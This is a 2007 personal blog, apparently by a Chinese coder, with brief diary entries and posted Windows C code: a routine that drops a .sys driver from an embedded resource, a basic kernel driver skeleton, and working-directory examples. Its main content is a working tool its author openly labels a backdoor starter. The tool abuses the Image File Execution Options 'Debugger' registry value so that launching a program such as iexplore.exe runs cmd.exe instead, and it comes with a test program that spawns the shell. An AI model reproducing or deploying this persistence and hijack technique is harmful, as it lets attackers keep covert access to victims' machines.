好累哦
Wednesday, 9. May 2007, 14:58:51
今天真累啊,连续上了5大节的课,饭都没吃好,唉,忍了吧!
Better never to begin than never to make an end..
Saturday, 28. April 2007, 11:14:18
Friday, 27. April 2007, 14:16:29
// freerk.cpp : Defines the entry point for the console application.
//
//----------------------------------------------------------------
// build a .sys file on disk from a resource
//----------------------------------------------------------------
bool _util_decompress_sysfile(char *theResourceName)
{
HRSRC aResourceH;
HGLOBAL aResourceHGlobal;
unsigned char * aFilePtr;
unsigned long aFileSize;
HANDLE file_handle;
/*The subsequent FindResource API call is used to obtain a handle to the embedded file.
A resource has a type,in this case BINARY, and a name.*/
//////////////////////////////////////////////////////////
// locate a named resource in the current binary EXE
//////////////////////////////////////////////////////////
/*The FindResource function determines the location of a resource with the specified
type and name in the specified module. */
aResourceH = FindResource( NULL , theResourceName , "BINARY" );
if(!aResourceH)
{
return false;
}
/*The next step is to call LoadResource. This returns a handle that we use in subsequent
calls.*/
aResourceHGlobal = LoadResource(NULL, aResourceH);
if(!aResourceHGlobal)
{
return false;
}
//Using the SizeOfResource call, the length of the embedded file is obtained:
aFileSize = SizeofResource(NULL, aResourceH);
aFilePtr = (unsigned char *)LockResource(aResourceHGlobal);
if(!aFilePtr)
{
return false;
}
char _filename[64];
snprintf(_filename, 62, "%s.sys", theResourceName);
file_handle = CreateFile(
filename,
FILE_ALL_ACCESS,
0,
NULL,
CREATE_ALWAYS,
0,
NULL );
if(INVALID_HANDLE_VALUE == file_handle)
{
int err = GetLastError();
if( (ERROR_ALREADY_EXISTS == err) || (32 == err))
{
// no worries, file exists and may be locked
// due to exe
return true;
}
printf("%s decompress error %d\n", _filename, err);
return false;
}
// While loop to write resource to disk
while(aFileSize--)
{
unsigned long numWritten;
WriteFile(
file_handle,
aFilePtr,
1,
&numWritten,
NULL );
aFilePtr++;
}
CloseHandle(file_handle);
return true;
}Wednesday, 25. April 2007, 13:43:15
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\devDriverDemo"
#define LINK_NAME L"\\??\\slDriverDemo"
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT pDriverObj,
IN PUNICODE_STRING pRegistryString
);
NTSTATUS
DispatchCreateClose(
IN PDEVICE_OBJECT pDevObj,
IN PIRP pIrp
);
VOID
DriverUnload(
IN PDRIVER_OBJECT pDriverObj
);
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT pDriverObj,
IN PUNICODE_STRING pRegisterString
)
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrDevName; // 设备名称
UNICODE_STRING ustrLinkName; // 符号连接名称
PDEVICE_OBJECT pDevObj;
DbgPrint( "DriverDemo: DriverEntry...\n" );
pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
pDriverObj->DriverUnload = DriverUnload;
RtlInitUnicodeString( &ustrDevName , DEVICE_NAME );
status = IoCreateDevice(
pDriverObj,
0,
&ustrDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj );
if( !NT_SUCCESS( status ) )
{
return status;
}
RtlInitUnicodeString( &ustrLinkName , LINK_NAME );
status = IoCreateSymbolicLink( &ustrLinkName , &ustrDevName );
if( !NT_SUCCESS( status ) )
{
IoDeleteDevice( pDevObj );
return status;
}
return STATUS_SUCCESS;
}
VOID DriverUnload(
IN PDRIVER_OBJECT pDriverObj
)
{
UNICODE_STRING strLink;
DbgPrint( "DriverDemo: DriverUnload...\n" );
RtlInitUnicodeString( &strLink , LINK_NAME );
IoDeleteSymbolicLink( &strLink );
IoDeleteDevice( pDriverObj->DeviceObject );
return;
}
NTSTATUS
DispatchCreateClose(
IN PDEVICE_OBJECT pDevObj,
IN PIRP pIrp
)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
DbgPrint( "DriverDemo: DispatchCreateClose...\n" );
IoCompleteRequest( pIrp , IO_NO_INCREMENT );
return STATUS_SUCCESS;
}
Monday, 23. April 2007, 05:36:45

/****************************************************
*
* A simple tool to startup our backdoor
*
* Author : L4bm0s<L4bm0s@gmail.com>
*
* QQ : 76137660
*
* HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>
BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath );
BOOL WINAPI RemoveKeyAndValue( char * KeyName );
void Usage( char * name );
const char * TargetKeyName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" ;
int main(int argc, char* argv[])
{
if( argc != 3 && argc != 4 )
{
Usage( argv[0] );
return -1;
}
if( argc == 3 )
{
if( !strcmp( "-r" , argv[1] ) )
{
BOOL ret;
ret = RemoveKeyAndValue( argv[2] );
if( ret )
{
printf( "Remove Key Success!\n" );
return 0;
}
else
{
printf( "Remove Key Fail: \n" );
return -1;
}
}
else
{
Usage( argv[0] );
return -1;
}
}
if( argc == 4 )
{
if( !strcmp( "-a" , argv[1] ) )
{
BOOL ret;
ret = SetUpKeyAndValue( argv[2] , argv[3] );
if( ret )
{
printf( "Add Key and Value Success!\n" );
return 0;
}
else
{
printf( "Add Key and Value Fail!" );
return -1;
}
}
else
{
Usage( argv[0] );
return -1;
}
}
return 0;
}
BOOL WINAPI SetUpKeyAndValue( char * KeyName , char * ValuePath )
{
HKEY hKey;
HKEY hValueKey;
LONG ret ;
ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
TargetKeyName ,
0 ,
KEY_ALL_ACCESS ,
&hKey );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegOpenKeyEx: %d\n" , GetLastError() );
return FALSE;
}
else
{
ret = RegCreateKeyEx( hKey ,
KeyName ,
0 ,
NULL ,
REG_OPTION_NON_VOLATILE ,
KEY_ALL_ACCESS ,
NULL ,
&hValueKey ,
NULL );
}
if( ret != ERROR_SUCCESS )
{
printf( "Error RegCreateKeyEx: %d\n" , GetLastError() );
return FALSE;
}
ret = RegSetValueEx( hValueKey ,
"Debugger" ,
0 ,
REG_SZ ,
( BYTE * )ValuePath ,
strlen( ValuePath ) );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegSetValueEx(): %d\n" , GetLastError() );
return FALSE;
}
return TRUE;
}
BOOL WINAPI RemoveKeyAndValue( char * KeyName )
{
HKEY hKey;
LONG ret;
ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
TargetKeyName ,
0 ,
KEY_ALL_ACCESS ,
&hKey );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegOpenKeyEx(): %d\n" , GetLastError() );
return FALSE;
}
ret = RegDeleteKey( hKey , KeyName );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegDeleteKeyEx(): %d\n " , GetLastError() );
return FALSE;
}
return TRUE;
}
void Usage( char * Name )
{
printf( "\t\t A simple Tool to Startup our Backdoor\n" );
printf( "\t\t Written by L4bm0s<L4bm0s@gmail.com>\n" );
printf( "\t\t Http://my.opera.com/l4bm0s\n\n" );
printf( "To add a Key and Value:\n" );
printf( "Usage: %s -a KeyName ValuePath \n" , Name );
printf( "Example: %s -a iexplore.exe C:\\WINDOWS\\system32\\cmd.exe\n\n" , Name );
printf( "To remove a Key:\n" );
printf( "Usage: %s -r KeyName\n" , Name );
printf( "Example: %s -r iexplore.exe\n\n" , Name );
printf( "If these is any bug about this tool , please contact me ;)\n" );
return;
}

/****************************************************
*
* Test Code
*
* Author : L4bm0s<L4bm0s@gmail.com>
*
* QQ : 76137660
*
* HomePage: my.opera.com/L4bm0s
*
****************************************************/
#include <windows.h>
#include <stdio.h>
const char * TargetKeyName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" ;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HKEY hKey;
LONG ret;
ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE ,
TargetKeyName ,
0 ,
KEY_ALL_ACCESS ,
&hKey );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegOpenKeyEx(): %d\n" , GetLastError() );
return -1;
}
ret = RegDeleteKey( hKey , "iexplore.exe" );
if( ret != ERROR_SUCCESS )
{
printf( "Error RegDeleteKeyEx(): %d\n " , GetLastError() );
return -1;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si , sizeof(si) );
si.cb = sizeof( si );
ZeroMemory( &pi , sizeof(pi) );
char cmdline[] = "cmd.exe";
CreateProcess( NULL ,
cmdline ,
NULL ,
NULL ,
FALSE ,
0 ,
NULL ,
NULL ,
&si ,
&pi );
return 0;
}Wednesday, 18. April 2007, 14:48:52
Tuesday, 17. April 2007, 13:52:19
Tuesday, 17. April 2007, 01:53:07
#include <unistd.h> char *getcwd(char *buf , size_t size);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#ifndef MAX_PATH
#define MAX_PATH 255
#endif
int main()
{
char name[MAX_PATH + 1];
if(getcwd(name , MAX_PATH) == NULL)
{
printf("Error: getcw\n");
exit(1);
}
printf("Current working directory: %s\n" , name);
exit(0);
}

#include <windows.h>
#include <stdio.h>
int main()
{
char DirName[MAX_PATH];
if((GetCurrentDirectory(MAX_PATH , DirName))==0)
{
printf("Error: %d\n" , GetLastError());
return 0;
}else{
printf("Current working direcory: %s\n" , DirName);
}
return 0;
}
Monday, 16. April 2007, 14:57:41
Showing posts 1 - 10 of 45.
| M | T | W | T | F | S | S |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 | 31 | |||